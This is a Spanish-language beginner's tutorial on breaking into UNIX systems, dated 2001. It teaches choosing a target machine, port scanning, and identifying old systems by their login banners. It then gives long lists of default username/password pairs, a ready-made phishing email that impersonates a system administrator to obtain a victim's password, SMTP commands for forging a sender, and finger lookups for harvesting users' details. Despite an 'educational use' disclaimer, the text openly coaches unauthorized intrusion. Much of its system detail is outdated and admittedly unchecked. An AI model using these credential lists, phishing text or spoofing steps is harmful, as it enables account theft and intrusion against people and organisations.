INTRODUCCION AL HACKING v2.0 www.hackhispano.com

POR LUK enero del 2001
luk@hackhispano.com
www.hackhispano.com

Antes que nada, he de decir que el contenidoe este texto esta solamente destinado a usos educacionales, de investigacion y/o de desarrollo. En ningun momento el creador de este texto se hace responsable de los daños causados debido a un mal uso de el mismo.

Bien, en este texto se recopilan los aspectos basicos del hacking para toda la gente que esta empezando. El objetivo es una estructuracion de la informacion para asi no tener que leer mil textos que te repiten los mismos conceptos una y otra vez. Espero que este texto sea de utilidad a todo el que este empezando en estos temas asi como puede dar algunas ideas a los que tengan un nivel medio.

Tambien es verdad que en este texto se cuentan algunos metodos de hacking aunque muchas veces se dejan cosas en el tintero que seran explicadas en otros textos.. }-)

Tambien, aunque no se diga constantemente a lo largo del texto, la mayoria de las ideas aqui indicadas son para sistemas UNIX y derivados por lo que si os enfrentais a otras cosas como el Micro$oft NT dudo que os sirva alguna de las ideas aqui expuestas. Igualmente, para conseguir un acceso si nos encontramos ante un firewall la mayoria de las tecnicas aqui explicadas tampoco funcionaran por lo que habra que exprimirse un poco mas el tarro :(

Por cierto, no pongo acentos para evitar las tipicas putadillas :)

Como siempre digo, sugerencias, dudas y preguntas.. e incluso criticas a mi mail.

luk@hackhispano.com

Me gustaria que me maileaseis (leo todos los mails que recibo) para decirme si algun apartado del texto no queda lo suficientemente claro ya que me gustaria que este texto sirviese para todo el mundo e ir actualizando para posteriores revisiones. Para tecnicas de hacking mas avanzadas que las que aqui se exponen, ya escribire textos aparte de este, ya que esto es una introduccion y no cuenta tecnicas avanzadas. Tambien me podeis mailear para pedirme posteriores ediciones de este texto o de otros textos de parecidas características, pero, por favor, no me mandeis mails de esos en los k me pone: “Hola, kiero ser hacker, me puedes ayudar?” :) gracias

Igualmente, supongo que en un texto tan grande habra fallos por lo que cualquier ayuda para corregirlos es bienvenida ;o)

Asi, la **ESTRUCTURA DEL TEXTO** sera:

0.- Glosario
1.- Buscando maquina objetivo y algunas cosas sobre unix orientado al hacking
2.- Introduccion a distintos sistemas
3.- Como conseguir una cuenta
4.- Como obtener cuentas
    4.1.- Cuentas por defecto
    4.2.- Ingenieria social
    4.3.- Conseguir fichero passwd con algun bug
    4.4.- Conseguir directamente una cuenta con un bug
    4.5.- PHF
    4.6.- Xploits que te dan directamente una shell
    4.7.- Otros metodos (FTP, Spoofing, etc)
5.- Salir de shell restringida
6.- Crackear password de maquinas UNIX
    6.1.- Introduccion y algoritmo de cifrado.
    6.2.- Conseguir el fichero de passwd estando dentro de la maquina
        6.2.1.- Introduccion
        6.2.2.- Password shadowing
        6.2.3.- NIS
    6.3.- Distintos metodos para bajaros el fichero de passwd una vez lo tienes bajo control
    6.4.- Como se crackean
    6.5.- Que crackeador de password usar.
7.- Obtener acceso de root
    7.1.- Fuerza bruta
    7.2.- Exploits
    7.3.- Troyanos
8.- Hackear con condon.
9.- Borrar huellas.
10.- Preservar el acceso y poner sniffers
11.- Legalidad
12.- Despedida

0. GLOSARIO

En este glosario, lo primero que se ha de definir es la palabra HACKER ya que esto es lo que nos va a llevar todo este texto.

Un hacker es una persona con un conocimiento importante de sistemas operativos, redes, protocolos, lenguajes de programacion, etc. con lo que se podria resumir tener un dominio de la seguridad en redes. Asi, opino que un hacker no es un chaval que le pasan algunos logins y passwords y que se dedica a entrar a la maquina y ejecutar exploits que ni sabe ni lo que hacen ni le importa, sino que simplemente sabe que le dan categoria de rOOt. Para mi esto se puede hacer durante una temporada para aprender pero siempre como una etapa para llegar mas adelante a fines mas interesantes :)

Resumiendo, un HACKER deberia ser una persona con amplios conocimientos y que sabe en todo momento perfectamente lo que hace y que entra en sistemas por diversion y no para destrozar sistemas o cosas parecidas. Aunque para otros como el famoso Marcus J. Ranum compara los hackers con “vandals”, pero en fin, hay opiniones para todos los gustos :o(

En fin despues de este rollo filosofico que opino que es necesario en un texto de introduccion a estos temas, paso a comentaros un breve glosario para introducirse en la jerga de este mundillo.

Este glosario esta por orden alfabetico:

ADMINISTRADOR, sysop, root :Esla persona que se encarga del sistema. Se suele denominar rOOt y es la persona que tiene el poder absoluto sobre la maquina. Tiene un UID=0.

AGUJERO, bug, hole : Es und efecto en el software o hardware que como su nombre indica deja agujeros para los hackers y que gracias a dios existen muchos ya que si no esto seria de locos jeje

AIX: Sistema operativo de IBM

BUGS y EXPLOITS: Los bugs son fallos en el software o en el hardware y que usan los hackers para entrar en sistemas y un exploit es un programa que aprovecha el agujero dejado por el bug. Ver AGUJERO.

BOMBA LOGICA: Codigo que ejecuta una particular manera de ataque cuando una determinada condicion se produce. Por ejemplo una bomba logica puede formatear el disco duro un dia determinado, pero a diferencia de un virus.. la bomba logica no se replica.

BACKDOOR :Puerta trasera. Mecanismo que tiene o que se debe crear en un software para acceder de manera indebida (jeje)

BBS (Bulletin Board System): Es una maquina a la que se accede a traves de la linea telefonica y donde se dejan mensajes y software. La putada es que si la bbs no esta en tu ciudad.. timofonica se hace millonaria a tu costa. :o(

BOXING: Uso de aparatos electronicos o electricos (Boxes) para hacer phreaking. Esto no es hacking sino phreaking... hay blue box, red box, etc.

BOUNCER: Tecnica que consiste en usar una maquina de puente y que consigue que telneteando al puerto xxxx de la maquina “bouncerada” te redireccione la salida a un puerto determinado de otra maquina. Esta

tecnica es muy usada en el irc redireccionando a los puertos destinados a los servidores de irc por anonimicidad y otros temas que no vienen al caso.

CABALLOS DE TROYA :Programa que se queda residente en un sistema y que ha sido desarrollado para obtener algun tipo de informacion. Por ejemplo seria un caballo de troya un programa que al ejecutarlo envie el fichero de /etc/passwd a una determinada IP (Casualmente la nuestra ;o)

CORTAFUEGOS: Ver firewall

COPS: Programa de seguridad.

CERT (Computer Emergency Response Team): Bien, como su nombre indica es una gente que se dedica de trabajar en seguridad pero que en su esfuerzo por informar de bugs nuevos, casi nos ayudan mas a nosotros que a ellos :o>

CLOACKER: Programa que borra los logs (huellas) en un sistema. Tambien llamados zappers.

CRACKER : Esta palabra tiene dos acepciones, por un lado se denomina CRACKER a un HACKER que entra a un sistema con fines malvados aunque normalmente la palabra CRACKER se usa para denominara a la gente que desprotege programas, los modifica para obtener determinados privilegios, etc.

CRACKEADOR DE PASSWORDS:Programa utilizado para sacar los password encriptados de los archivos de passwords. Esto se desarrollara mas adelante en este texto

DAEMON: Proceso en background en los sistemas Unix, es decir un proceso que esta ejecutandose en segundo plano.

EXPLOIT Metodo concreto de usar un bug para entrar en un sistema.

FIREWALL, cortafuego: Sistema avanzado de seguridad que impide a personas no acreditadas el acceso al sistema mediante el filtrado de los paquetes dependiendo de la IP de origen, en otras palabras, una putada :o(. En la actualidad esta considerado como uno de los medios de seguridad mas fiables y hay poca documentacion al respecto de como hackearlos.

FUERZA BRUTA (hackear por...) Es el procedimiento que usan tanto los crackeadores de password de UNIX como los de NT (o por lo menos los que yo conozco) que se basan en aprovechar diccionarios para comparar con los passwords del sistema para obtenerlos. Esto se desarrolla mas adelante en este texto.

FAKE MAIL: Enviar correo falseando el remitente. Es muy util en ingenieria social.

GRAN HERMANO: Cuando la gente se refiere al Gran Hermano, se refiere a todo organismo legal de lucha contra el mundo underground.

GUSANO: Termino famoso a partir de Robert Morris, Jr.Gusanos son programas que se reproducen ellos mismos copiandose una y otra vez de sistema a sistema y que usa recursos de los sistemas atacados.

HACKING :Amplia definicion al principio del glosario.

HACKER :Amplia definicion al principio del glosario.

HOLE: Ver bug.

HP/UX: Sistema operativo de HP.

INGENIERIA SOCIAL :Obtencion de informacion por medios ajenos a la informatica. Sobre esto nos extenderemos mas adelante en este texto.

IRIX: Sistema operativo.

ISP (Internet Services Provider): Proveedor de servicios internet.

KEY: Llave. Se puede traducir por clave de acceso a un software o sistema.

KERBEROS: Sistema de seguridad en el que los login y los passwords van encriptados.

KEVIN MITNICK: Es el hacker por excelencia!!!. Sus hazañas se pueden encontrar en mil sitios en la red.

LAMER: Un lamer es una persona que no tiene ninguna inquietud por todos estos temas de la seguridad sino que lo unico que quiere es tener un login y un pass para entrar a un sistema y formatear el disco duro, o para decirle a un amigo que es un superhacker.. o el tipico que te llega en el IRC y te dice.. he suspendido un examen y quiero entrar al ordenador de mi escuela para cambiar las notas. Esto os prometo que me ha pasado mas de una vez :o(
Importante es distinguir lamer de newbie o novato. Un novato o newbie es una persona que SI que tiene interes en estos temas pero que logicamente necesita un tiempo de aprendizaje ya que nadie ha nacido aprendico.

LINUX: Sistema operativo de la familia UNIX y que es muy adecuado para tenerlo en la maquina de casa ya que no requiere demasiados recursos. Este sistema operativo lo debes tener en tu casa si quieres hacer algo en el mundo del hacking aunque ya se comentara mas adelante.

LOGIN : Para entrar en un sistema por telnet se necesita siempre un login (nombre) y un password (clave).

MAQUINA: En este texto, habitualmente se utilizara el termino maquina para referirse al ordenador. Mejor no entrar en filosofias :->

MAIL BOMBER: Es una tecnica de puteo que consiste en el envio masivo de mails a una direccion (para lo que hay programas destinados al efecto) con la consiguiente problematica asociada para la victima. Solo aconsejo su uso en situaciones criticas.

NUKEAR: Consiste en joder a gente debido a bugs del sistema operativo o de los protocolos. Esto se da habitualmente en el IRC y considero que es una perdida de tiempo... pero hay mucha gente que su cabecita no da para mas y se entretiene con estas pijadas. ¿Sera porque no son capaces de enfrentarse a cosas mas serias?? :->

PASSWORD :Contraseña asociada a un login. Tambien se llama asi al famoso fichero de UNIX /etc/passwd que contiene los passwords del sistema que se comentaran mas adelante en este texto.

PHREAKING: Consiste en evitar total o parcialmente el pago a las grandes multinacionales. Este concepto se usa basicamente para referirse al pago del telefono ya que tal y como esta Timofonica apetece. En general, es complicado conseguirlo en España, pero hay que intentarlo. :->>

PIRATA:Persona dedicada a la copia y distribucion de software ilegal, tando software comercial crackeado, como shareware registrado, etc...No hay que confundir en absoluto este termino con el de hacker ya que tal como se ve en las definiciones no tiene nada que ver.

PPP: Point-to-point protocol... RFC 1661.

PASSWORD CRACKER: Ver CRACKEADOR DE PASSWORD.

PGP: Pretty Good Privacy. Necesario cuando os paseis mails “calentitos”. Es un programa de encriptacion de llave publica.

PHRACK: zine sobre hack muy famosa.

PUERTO-PORT: Se define mas adelante en este texto.

PORT SCANNER: Programa que te indica que puertos de una maquina estan abiertos. Mas adelante en este texto se explican estos conceptos mas detenidamente.

ROOT,administrador, sysop: Persona que tiene control total sobre el sistema y cuyo UID es 0.

ROUTER: Maquina de la red que se encarga de encauzar el flujo de paquetes.

SNIFFER: Es un programa que monitoriza los paquetes de datos que circulan por una red. Mas claramente, todo lo que circula por la red va en 'paquetes de datos' que el sniffer chequea en busca de informacion referente unas cadenas prefijadas por el que ha instalado el programa.

SHELL: Este concepto puede dar lugar a confusion ya que una shell en un sistema unix es un programa que interactua entre el kernel y el usuario mientras que en nuestros ambientes significa el conjunto de login y password.... es decir que si alguien dice que cambia shells ya sabeis a lo que se refiere no? :)

SUNOS: Sistema operativo de Sun.

SOLARIS: Sistema operativo de Sun.

SYSOP: Ver rOOt.

TCP/IP: Arquitectura de red con un conjunto de protocolos. Es la que se suele usar en Internet.. para mas info sobre el tema cualquier libro de TCP IP es valido..

TONELOC: Posiblemente el mejor war dealer (como la cerveza) jeje

TRACEAR :Seguir la pista a traves de la red a una informacion o de una persona.

UDP: Protocolo de comunicacion que a diferencia del TCP no es orientado a conexion.

UNIX: Familia de sistemas operativos que engloba a SunOS, Solaris, irix, etc..

VMS: Sistema operativo.

VIRUS: Es un programa que se reproduce a si mismo y que muy posiblemente ataca a otros programas. Crea copias de si mismo y suele dañar o joder datos, cambiarlos o disminuir la capacidad de tu sistema disminuyendo la memoria util o el espacio libre.

WAR DIALER: Estos son programas (tambien se podria hacer a mano, pero es muy pesado) que realizan llamadas telefonicas en busca de modems. Sirve para buscar maquinas sin hacerlo a traves de internet. Estas maquinas suelen ser muy interesantes ya que no reciben tantos ataques y a veces hay suerte y no estan tan cerradas. ;o)

WORM: Ver gusano.

WINDOWS : Sistema operativo?? ;-) .. tambien llamado ventanukos.

ZAP: Zap es un programa que se usa para borrar las huellas en un sistema. Debido a lo famoso que se ha hecho muchos programas que desarrollan estas funciones se les llama zappers aunque precisamente este no es el mejor ;o)

ZINE: Revista electronica

Nota: En este texto se va a dar unix por sabido y solo se comentaran los aspectos del unix relacionados con el hacking.

1.- BUSCANDO LA MAQUINA OBJETIVO Y ALGO SOBRE UNIX ORIENTADO AL HACKING.

Lo primero que se ha de hacer, como es logico es determinar la maquina objetivo. Esta decision se puede hacer en base a distintos criterios como pueda ser que es una maquina especialmente interesante para ti o que es una maquina que sabes o te han dicho que el rOOt no es un lumbreras. Bien, sea como fuere, suponemos que se ha determinado la maquina objetivo.

Tras esto, se ha de recopilar la mayor informacion sobre esa maquina. Lo mejor es empezar haciendo un escaneo de puertos a la maquina, esto consiste en ir haciendo telnet's a todos los puertos de la maquina (normales 1-6000) para ver que programas contestan en cada puerto y su version, o si el puerto esta cerrado. Por ejemplo: con un telnet normal (puerto 23) determinaremos el sistema operativo, con un telnet 79 (finger) para obtener informacion, entrar por el netstat (puerto 15) si lo tiene abierto (poco usual), mirar si tiene pagina web y que demonio de http usa (puerto 80), mirar la version del sendmail (puerto 25), ver si esta el systat abierto, ver si tiene ftp anonimo en el 21, ver si ofrece nfs o nis, etc. Para esto se necesita un escaneador de puertos de los que hay muchisimos en la red (strobe, portscan, nmap, etc.)

Ademas, en caso de que quieras hackear victima1.microsoft.com, en caso de que veas que no puedes hacer nada en esta maquina victima1, te puedes plantear hackear otra del dominio microsoft.com, ya que si consigues root y colocas un sniffer en victima2.microsoft.com (o quiza con un poco de suerte con el

hosts.equiv o el .rhosts) seguramente podras conseguir cuentas en victima1.microsoft.com. Posiblemente, esto no lo entiendas ahora, pero tras leer todo el texto y tener un poco mas claro lo que es un sniffer, como pillar root y demas, posiblemente le encontraras mas sentido a este parrafo :o)

Nota para los que vayan un poco verdes en Unix:

El fichero hosts.equiv es un fichero que hay en los sistemas unix que indica que maquinas pueden ejecutar comandos remotos en esta maquina sin pedir ni login ni password, es decir, indica las maquinas que son confiables.

Igualmente, el fichero .rhosts es un fichero que hay en el HOME de cada usuario que indica las maquinas a las que permite ejecutar un comando remoto sin pedir password.

Ademas, os recuerdo que con el comando host puedes obtener una lista de maquinas pertenecientes a un dominio dado y que el comando traceroute muchas veces puede ayudar (recuerdo que el traceroute muestra el recorrido que hacen los paquetes hasta llegar a la maquina destino).

Para todos aquellos que no tienen muy claro lo que son los puertos, TCP, UDP, IP y demas cosas similares pueden ver el TCP IP Illustrated tomo 1 de Stevens o el famoso NETWORKING with TCPIP que ademas creo que tiene el primer tomo traducido al castellano.

A continuacion se listan los mas interesantes en principio para las aplicaciones que nos interesan (en los puertos que no ponga nada, se refieren a tcp y los que se refieran a udp se indicara):

Numero de Puerto	Servicio	Lo que hace
9	discard	Dev/null--Basura
11	systat	Informacion sobre los usuarios
13		La hora y fecha de maquina remota
15	netstat	Mucha informacion sobre la red
17/tcp	qotd	Quote of the Day
19	chargen	Generador de caracteres
21	ftp	Transferenciadeficheros
22/tcp	ssh	SSH Remote Login Protocol
23	telnet	Loginypass
25	smpt	Para crear email.
37	time	La hora.
38/tcp	rap	RouteAccessProtocol
39	rlp	Localizacion del recurso
42/tcp	name server	HostName Server
43	whois	Informacion sobre la red objetivo
49/tcp	tacacs	LoginHostProtocol(TACACS)
50/tcp	re-mail-ck	RemoteMailCheckingProtocol
53	domain	Nombre de la maquina remota
63/tcp	whois++	whois++
69/tcp	tftp	TrivialFileTransfer
70	gopher	Buscador de informacion con bugs ;o)
79	finger	Mucha informacion sobre los usuarios
80	http	ServidorWeb
88/tcp	kerberos	Kerberos
107	rtelnet	Telnet remoto
109/tcp	pop2	PostOfficeProtocol-Version2
110	pop3	Email entrante Version3
111/tcp	sunrpc	SUN Remote Procedure Call
113/tcp	auth	Authentication Service
115/tcp	sftp	Simple File Transfer Protocol
117/tcp	uucp-path	UUCP Path Service
119	nntp	Grupos de noticias Usenet
133/tcp	statsrv	Statistics Service
136/tcp	profile	PROFILE Naming System
137/tcp	netbios-ns	NETBIOSNameService
137/udp	netbios-ns	NETBIOSNameService
138/tcp	netbios-dgm	NETBIOSDatagramService
138/udp	netbios-dgm	NETBIOSDatagramService

```
 139/tcp netbios-ssn      NETBIOSSessionService
139/udp          netbios-ssn      NETBIOSSessionService
143/tcp imap             InternetMessageAccessProtocol (xploit remoto jeje)
144/tcp news             NewS
161/tcp snmp             SNMP
194/tcp irc              InternetRelayChatProtocol
213/tcp ipx              IPX
220/tcp imap3            InteractiveMailAccessProtocolv3
443              shttp            Otro servidor web teoricamente seguro
512/udp          biff             ndica a los usuarios que han recibido mail
513/tcp rlogin           remote login
513/udp          who              who remoto y da info sobre la carga de la maquina
514/tcp shell            Shell remota
514/udp          syslog
515/tcp printer          spooler
520              route            Protocolo de informacion routing
529/tcp irc-serv IRC-SERV
```

Puedes obtener muchas listas de puertos en Internet por lo que os he puesto una lista resumida aunque en realidad con la practica te sueles remitir a un numero mas reducido de puertos pero eso que lo vea cada uno kon la experiencia.

Tras saber que conocimientos se deben adquirir, ahora os comento los programas que se deben tener para poder hacer cositas.

Bien, lo primero que comentaria es que es mas comodo hackear con unix/linux que con el ventanukos ya que aunque es mas complejo, ofrece muchas mas posibilidades ya que el mismo sistema operativo te ofrece algunas ventajas que no ofrece el windows. No voy a entrar a comentar estas diferencias pero si usas unix, basicamente solo has de pillarte un escaneador de puertos y poco mas. Se ha de recordar que lleva incorporado el compilador de c, perl, la mayoria de los programas de seguridad (satan, cops, iss...) estan disponibles para unix asi como los programas para hackear, y muchas mas kosas que ya iremos descubriendo como el tiempo. Ademas unix te permite comandos interesantes como el host, rpcinfo, los comandos remotos, etc.

Ademas, tal y como se ha comentado o comentara a lo largo del texto, la informacion y estar actualizado en bugs y exploits es una de las cosas mas importantes en este mundillo por lo que un consejo es que habitualmente ojeeis las paginas de hack para pillar los ultimos bugs y xploits asi como las listas de correo habilitadas para el respecto (bugtraq, firewall ,etc). Tened en cuenta que la eficacia de un xploit es inversamente proporcional al tiempo que hace que salio asi que no espereis entrar en muchas maquinas con bugs de los años 80, entendeis la idea no?.

2.- INTRODUCCION A DISTINTOS SISTEMAS

En este texto se va a hablar de hackear maquinas Unix pero hay que recordar que aparte del Unix tambien existen otros sistemas operativos para mainframes y miniordenadores como el VMS para ordenadores VAX (de la marca DEC, Digital Equipment Corporation), el VM/CMS, VM/ESA, etc para ordenadores IBM, y otros sistemas operativos de menor profileracion.

Dentro de los UNIX se puede hacer diferencias:

SO	Vendedor	Procesador	Proviene del
IRIX	Silicon Graphics	MIPS Rxx00	System V
ULTRIX	Digital (viejo)	MIPS R2/3000	BSD
Digital UNIX	Digital (nuevo)		System V (?)
AIX	IBM		BSD
HP-UX Hewlett	Packard	PA-RISC	System V
SCO UNIX	SCO	Intel x86	
FreeBSD	(independiente)	Intel x86	BSD
Linux	(independiente)	Intel x86	BSD

SunOS	Sun (viejo)	Sparc	BSD
Solaris	Sun (nuevo)	Sparc / x86	System V
UNICOS	Cray		
OSF/1	DEC	Alpha	
ConvexOS	Convex		

Para entrar en un sistema, lo primero que has de saber es como funciona ya que si no, no podras manejarte en el. Por esto es importante conocer UNIX/LINUX ya que basicamente, conociendo este sistema operativo podras moverte por el resto de sistemas unix aunque de vez en cuando te encuentras de cada cosa por ahi que da miedo. A continuacion se describen algunos sistemas y en algunos se indica la pinta que tienen para poder identificarlos al hacerles un telnet (Nota: esta info la he pillado de la red y creo que es un poco vieja pero la pongo porque opino que puede servir de algo):

VMS - La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre el sistema operativo VMS (virtual memory system). VMS se caracteriza por su prompt 'Username:'. Este sistema no te dira si has entrado un login correcto o no y te desconectara despues de tres malos intentos. Tambien mantiene un record de todos los logins que fallaron e informa al due¤o de la cuenta la proxima vez que entre cuantos intentos fallados se hicieron. Es uno de los sistemas mas seguros desde fuera pero ya dentro tiene varios errores en la seguridad. Las VAX ademas tienen uno de los mejores archivos de ayuda de entre los demas sistemas, para accesar a esta ayuda solo escribe HELP en el prompt.

VM/CMS - Este sistema es ejecutado en las super computadoras de IBM (International Business Machines) llamadas mainframes. Una vez conectado a una de estas computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te dara un prompt "." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON <usuario>

DEC-10 - Operan el sistema operativo TOPS-10. Este tipo de maquinas se reconocen por el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo varios intentos en el login prompt sin guardar un log de los intentos fallados. Las cuentas estan en forma [xxx,yyy]. Lo mejor de este sistema es la posibilidad de obtener informacion sobre las personas en linea antes de entrar a el usando el comando systat. Si ves una cuenta que lea [234,1001] BOB JONES, seria inteligente probar como password BOB, JONES, BOBBY, etc. Para entrar al sistema se usa el comando:

login xxx,yyy [enter]
password:

Este sistema como antes lo habia dicho, permite intentos sin limite y ademas te avisa si el login que estas usando existe.

PRIME - Esta computadora opera con el sistema operativo Primos. Son faciles de detectar ya que lo reciben a uno con el mensaje "Primecon xx.xx.xx" o algo parecido dependiendo de la version que te encuentres. Usualmente no ofrecen ningun prompt asi que debes escribir "login <usuario>". Si la version es anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o CTRL-C y entraras. Este sistema ofrece la capacidad de conectarte a los NUAS de todo el mundo con el comando NETLINK...sintax: nc <nua>

Al hacer un telnet muestra un aspecto del tipo:

PRIMENET 19.2.7F PPOA1

<any text>

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

```
CONNECT
Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)
```

DECSERVER - Las DECs son una serie de computadoras conectadas entre si para formar una sola unidad de procesamiento, la funcionalidad de estos sistemas es altamente utilizado por los hackers para quebrar passwords de cuentas unix por la rapidez del sistema. El prompt usualmente sera: "Enter Username>" aunque yo he visto otros prompts en estos sistemas.

El nombre de usuario puede ser cualquier cosa, lo mejor sera presionar algo nada sospechoso como `c' o algun numero. De ahi te presentara con el prompt `local>'. De ahi debes ejecutar `c <sistema>' para conectarte. Para obtener una lista de sistemas conectados ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S existen comandos como MODEM o DIAL que permiten hacer uso de un modem para llamadas externas que te permitiran marcar a BBS internacionales a expensas de la compa¤ia que opera el DEC.

Al hacer un telnet a este sistema sale algo del tipo:

DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

AIX

IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

Lo reconoceras porque es el unico sistema Unix que borra la pantalla y sale el login cerca del final de la pantalla.

CISCO Router

FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>

Toda la info anterior expuesta anteriormente sobre los distintos sistemas, la he cogido basicamente de la red y la mayoria no la he comprobado por lo que es facil que haya errores por lo que os agradeceria que me contaseis todos los bugs que encontreis en esta parte del texto sobre distintos sistemas.

Igualmente, estoy interesado en toda la info que me pueda mandar la gente sobre la identificacion de los distintos sistemas operativos y los comandos y diferencias basicas entre los sistemas operativos. Como siempre, mi mail esta abierto para este tipo de info ;--)

3.- CONSEGUIR UNA CUENTA

Una cuenta puede ser el primer paso para poder entrar en un sistema (aunque hay bugs que te dan directamente una cuenta e incluso la de rOOt, pero eso es caso aparte) por lo que en este capitulo se vera como conseguir una cuenta.

Hay muchiiiiisimos metodos para conseguir una cuenta pero aqui se van a contar los siguientes:

1.- Cuentas por defecto
2.- Ingenieria social
3.- Conseguir fichero passwd de manera remota con algun bug
4.- Conseguir directamente una cuenta con un bug
5.- PHF
6.- Xploits que te dan una shell remota
7.- Otros metodos

4.1.- Cuentas por defecto

Este es un metodo de locos y solo lo has de usar si vas muy perdido o si estas muy desesperado ya que raras veces funcionan. Sinceramente, yo no las he comprobado ya que nunca uso este metodo por lo que agradeceria vuestras rectificaciones para posteriores ediciones del texto. Incluso hay sistemas operativos muy raros que no se si seran viejos pero yo las incluyo todos por si a alguien les sirven de algo. En posteriores ediciones ya se hara un filtrado :o)

Aqui estan para varios sistemas:

Cuentas defaults en general:

adm
admin
ann
anon
anonymous/anonymous
backup
batch
bin
checkfsys
daemon
demo
diag
field
ftp
games
guest/guest
guest/anonymous
help
install
listen
lp
lpadmin
maint
makefsys
mountfsys
network
news
nobody
nuucp
nuucpa
operator
powerdown
printer
pub
public
reboot

rje
rlogin
root
sa
setup
shutdown
startup
sync
sys/sys
sysadm
sysadmin
sysbin/sysbin sysbin/bin
sysman
system
tech
test
trouble
tty
umountfsys
user/user user1/user1
uucp
uucpa
visitor
root/root
root/system
sys/sys
sys/system
daemon/daemon
uucp/uucp
tty/tty
test/test
unix/unix
unix/test
bin/bin
adm/adm
adm/admin
admin/adm
admin/admin
sysman/sysman
sysman/sys
sysman/system
sysadmin/sysadmin
sysadmin/sys
sysadmin/system
sysadmin/admin
sysadmin/adm
who/who
learn/learn
uuhost/uuhost
guest/guest
host/host
nuucp/nuucp
rje/rje
games/games
games/player
sysop/sysop
root/sysop
demo/demo
decnet/ddennet
guest/friend
field/service
guest/welcome
system/manager
default/user
decnet/nonpriv
field/digital

field/test
postmaster/mail
sysmaint/service
sysmaint/digital
system/operator
system/manager
system/syslib
system/uetp
systest_clig/systest
userp/user
sysadmin/admin
daemon/daemon
sysbin/sysbin

AIX

guest guest

DECserver

Access
System

VMS

autolog1/autolog o autolog1
cms/cms
cmsbatch/cms o cmsbatch
erep/erep
maint/maint o maintain
operatns/operatns o operator
operator/operator
rscs/rscs
smart/smart
sna/sna
vmtest/vmtest
vmutil/vmutil
vtam/vtam
field/service
systest/utep
systest_clig/systest
systest_clig/uetp

PRIME

Prime/prime
Prime/primos
Primos/primos
Primos/prime
primos_cs/prime
primos_cs/primos
primenet/primenet
system/system
system/prime
system/primos
netlink/netlink
test/test
guest/guest
guest1/guest

DEC10

14
1,2: SYSLIB or OPERATOR or MANAGER
2,7: MAINTAIN
5,30: GAMES

SGI Irix

4DGifts
guest
demos
lp
nuucp
tour
tutor
accounting
boss
demo
manager
pdp8
pdp11
software

4.2.- INGENIERIA SOCIAL

Bien, este no es un metodo de hack en el sentido que todos pensais... no tiene nada que ver con informatica ni con ordenadores ni tcp/ip ni unix ni nada de eso sino que simplemente consiste en ser un poco picaro ;o).

La ingenieria social se basa en que hay mucha gente por ahi que tiene una cuenta (tanto de un proveedor de internet como una shell) y que no esta muy alerta jeje. En fin, como os comento hay varios metodos para obtener cuentas usando ingenieria social, aqui simplemente cuento algunos para que os hagais una idea pero cada uno que piense y su imaginacion le dara algunos truquillos mas.

En fin, el metodo e-mail es el mas importante por el que sera el que mas desarrollaremos en este texto aunque tambien se podria hacer por telefono. La idea es sencilla.. enviar un mail (anonimo) a alguien para que te de el login y el password. Parece dificil que traguen, no?.. pues os puedo asegurar que no lo es. }-)

Simplemente envia un mail de este estilo:

Estimado señor Lopez: (Importante conocer la identidad de la persona para darle mas confianza)

El objeto de este correo electronico es comunicarle que debido a mantener la seguridad de nuestro sistema victima.com, se requiere que envie un mail con sus datos personales y su login y su password ya que en nuestro sistema es muy importante la seguridad y deseamos mantenerla con estos chequeos rutinarios.

Agradeciendo su atencion se despide

Pepito Rodriguez pepito@victima.com
Administrador del sistema victima.com

Para enviar un mail para falsear el remitente, lo que se debe hacer es hacer un telnet a una maquina unix que tenga el puerto 25 abierto y dar los siguientes pasos:

Lo primero que se ha de hacer es un telnet maquinacon25.com 25, cuando te diga que ya estas conectado, has de hacer:

helo ingenieria@social.com >pleased to meet ingenieria@social.com

Tras esto has de decir quien quieres que aparezca como remitente con el comando mail from:

mail from: ingenieria@social.com

> ingenieria@social.com... Sender is valid.

Si sale esto, todo va bien.. por lo que tendras que indicar quien es el destinatario usando el comando rcpt

rcpt to: bill@gates.com

> "bill@gates.com"... Recipient okay

Tras esto, lo que se ha de hacer es indicar el mensaje en si con el comando data y cuando quieras acabar pones un . en una linea.. algo asi:

data

> Enter mail, end with "." on a line by itself

Hola Bill
.

> Mail accepted

Con esto el mensaje ya esta enviado, y para cerrar la conexion has de usar quit.

> connection is closed.

En realidad con esto no se consigue un mail anonimo sino que lo que consigues es especificar el remitente que tu quieres. Para enviar mail anonimo has de usar servidores de correo anonimo o hacer este mensaje enlazando unos mails con otros.

Para saber si un servidor es anonimo has de hacer:

HELO servidor@anonimo.com

Y si cuando el servidor responde no aparece tu IP por ningun lado, entonces es un servidor anonimo o pseudoanonimo.

Este texto puede estar mucho mas elaborado.. pero ya os servira para ver la idea y creedme este metodo funciona y por otro lado no es complicado de hacer ;o)

La pregunta ahora es... como sabemos los telefonos o los mails de la gente de victima.com???. Bien, hay varias respuestas.. muchas veces por casualidad (un vecino, un compañero de clase, etc), otras pasandotelas otro hacker (a saber de donde vendran ¡!) y algunos metodos mas entre los que destacaria el finger. El finger es el puerto 79 y si el host victima.com lo tiene abierto, simplemente telnetealo y usando finger –l @victima.com sacaras informacion sobre la gente que esta concectada a victima.com asi como otra informacion interesante como su email. Luego puedes ir probando con finger –l nombre_usuario@victima.com con lo que obtendras aun mas informacion del sistema.

Tambien se puede hacer finger root@victima.com , guest@victima.com, etc con lo que obtendras informacion sobre ellos aunque no esten conectados.

Tambien se ha de tener en cuenta que a veces el puerto 79 esta abierto pero no te da informacion. Esto puede ser porque esta usando tcp-wrappers, pero eso es tema aparte, simplemente lo comento para que sepais que os puede pasar.

